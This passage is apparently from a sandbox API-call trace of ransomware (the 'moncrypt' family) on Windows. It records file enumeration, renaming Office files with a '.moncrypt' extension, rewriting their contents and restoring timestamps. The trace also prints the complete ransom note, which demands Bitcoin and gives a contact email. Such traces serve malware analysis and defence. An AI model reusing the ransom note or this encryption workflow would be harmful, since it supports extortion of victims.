ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0x54e280 [0049.360] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0049.360] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0049.360] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0049.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", dwFileAttributes=0x20) returned 1 [0049.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0049.361] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.moncrypt")) returned 1 [0049.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.361] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.361] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x708 [0049.361] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0049.361] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18e3b4*=0x708, lpOverlapped=0x0) returned 1 [0049.363] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.363] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.363] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.363] GlobalUnlock (hMem=0x440004) returned 0 [0049.363] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.363] GlobalUnlock (hMem=0x44000c) returned 0 [0049.363] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.363] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.363] GlobalUnlock (hMem=0x44000c) returned 0 [0049.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.375] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0049.375] CloseHandle (hObject=0x190) returned 1 [0049.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0049.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.376] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.376] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.376] GlobalUnlock (hMem=0x44000c) returned 0 [0049.376] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.376] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.376] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.376] GlobalUnlock (hMem=0x44000c) returned 0 [0049.376] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.376] GlobalUnlock (hMem=0x440004) returned 0 [0049.376] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.376] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eb2e360, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3eb2e360, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3eb2e360, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e280 [0049.376] FileTimeToLocalFileTime (in: lpFileTime=0x18e4b0, lpLocalFileTime=0x18e430 | out: lpLocalFileTime=0x18e430) returned 1 [0049.376] FileTimeToDosDateTime (in: lpFileTime=0x18e430, lpFatDate=0x18e47e, lpFatTime=0x18e47c | out: lpFatDate=0x18e47e, lpFatTime=0x18e47c) returned 1 [0049.376] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0049.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0049.411] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.411] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0049.411] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.412] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.412] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x649 [0049.412] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e684*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e684*=0) returned 0x0 [0049.413] ReadFile (in: hFile=0x190, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e6a8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e6a8*=0x649, lpOverlapped=0x0) returned 1 [0049.413] CloseHandle (hObject=0x190) returned 1 [0049.416] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0049.418] GetLastError () returned 0x12 [0049.418] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0049.418] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.418] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.419] GlobalUnlock (hMem=0x440004) returned 0 [0049.419] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.419] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.419] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.419] GlobalUnlock (hMem=0x440004) returned 0 [0049.419] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.419] GlobalUnlock (hMem=0x44000c) returned 0 [0049.419] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3eb544c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3eb544c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0049.419] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0049.419] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.419] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.419] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.419] GlobalUnlock (hMem=0x44000c) returned 0 [0049.419] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.419] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.419] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.419] GlobalUnlock (hMem=0x44000c) returned 0 [0049.419] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.419] GlobalUnlock (hMem=0x440004) returned 0 [0049.419] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.419] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3eb544c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3eb544c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.419] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.419] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.420] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.420] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.420] GlobalUnlock (hMem=0x440004) returned 0 [0049.420] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.420] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.420] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.420] GlobalUnlock (hMem=0x440004) returned 0 [0049.420] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.420] GlobalUnlock (hMem=0x44000c) returned 0 [0049.420] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.420] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3eb2e360, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3eb2e360, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3eb2e360, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0049.420] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.420] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.420] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.420] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.420] GlobalUnlock (hMem=0x44000c) returned 0 [0049.420] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.420] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.420] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.420] GlobalUnlock (hMem=0x44000c) returned 0 [0049.420] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.420] GlobalUnlock (hMem=0x440004) returned 0 [0049.420] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.420] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa35, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML.moncrypt", cAlternateFileName="SETUPX~1.MON")) returned 1 [0049.420] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.420] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.420] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.420] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.421] GlobalUnlock (hMem=0x440004) returned 0 [0049.421] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.421] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.421] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.421] GlobalUnlock (hMem=0x440004) returned 0 [0049.421] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.421] GlobalUnlock (hMem=0x44000c) returned 0 [0049.421] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.421] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML.moncrypt", cAlternateFileName="WORDMU~1.MON")) returned 1 [0049.421] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0049.421] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0049.421] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.421] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.421] GlobalUnlock (hMem=0x44000c) returned 0 [0049.421] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.421] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.421] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.421] GlobalUnlock (hMem=0x44000c) returned 0 [0049.421] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.421] GlobalUnlock (hMem=0x440004) returned 0 [0049.421] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.421] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML.moncrypt", cAlternateFileName="WORDMU~1.MON")) returned 0 [0049.421] GetLastError () returned 0x12 [0049.421] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0049.422] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0049.422] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.422] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.422] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.422] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.422] GlobalUnlock (hMem=0x440004) returned 0 [0049.422] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.422] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.422] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.422] GlobalUnlock (hMem=0x440004) returned 0 [0049.422] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.422] GlobalUnlock (hMem=0x44000c) returned 0 [0049.422] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.422] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0049.422] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.422] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.422] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.422] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.422] GlobalUnlock (hMem=0x44000c) returned 0 [0049.422] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.422] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.422] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.422] GlobalUnlock (hMem=0x44000c) returned 0 [0049.422] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.422] GlobalUnlock (hMem=0x440004) returned 0 [0049.422] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.423] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0049.423] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.423] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.423] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.423] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.423] GlobalUnlock (hMem=0x440004) returned 0 [0049.423] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.423] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.423] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.423] GlobalUnlock (hMem=0x440004) returned 0 [0049.423] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.423] GlobalUnlock (hMem=0x44000c) returned 0 [0049.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.423] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0049.423] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.424] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.424] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.424] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.424] GlobalUnlock (hMem=0x44000c) returned 0 [0049.424] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.424] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.424] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.424] GlobalUnlock (hMem=0x44000c) returned 0 [0049.424] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.424] GlobalUnlock (hMem=0x440004) returned 0 [0049.424] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.424] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0049.424] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.424] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.424] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.424] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.424] GlobalUnlock (hMem=0x440004) returned 0 [0049.424] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.424] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.424] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.424] GlobalUnlock (hMem=0x440004) returned 0 [0049.424] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.424] GlobalUnlock (hMem=0x44000c) returned 0 [0049.424] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.424] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0049.424] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.424] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.424] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.424] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.424] GlobalUnlock (hMem=0x44000c) returned 0 [0049.424] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.425] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.425] GlobalUnlock (hMem=0x44000c) 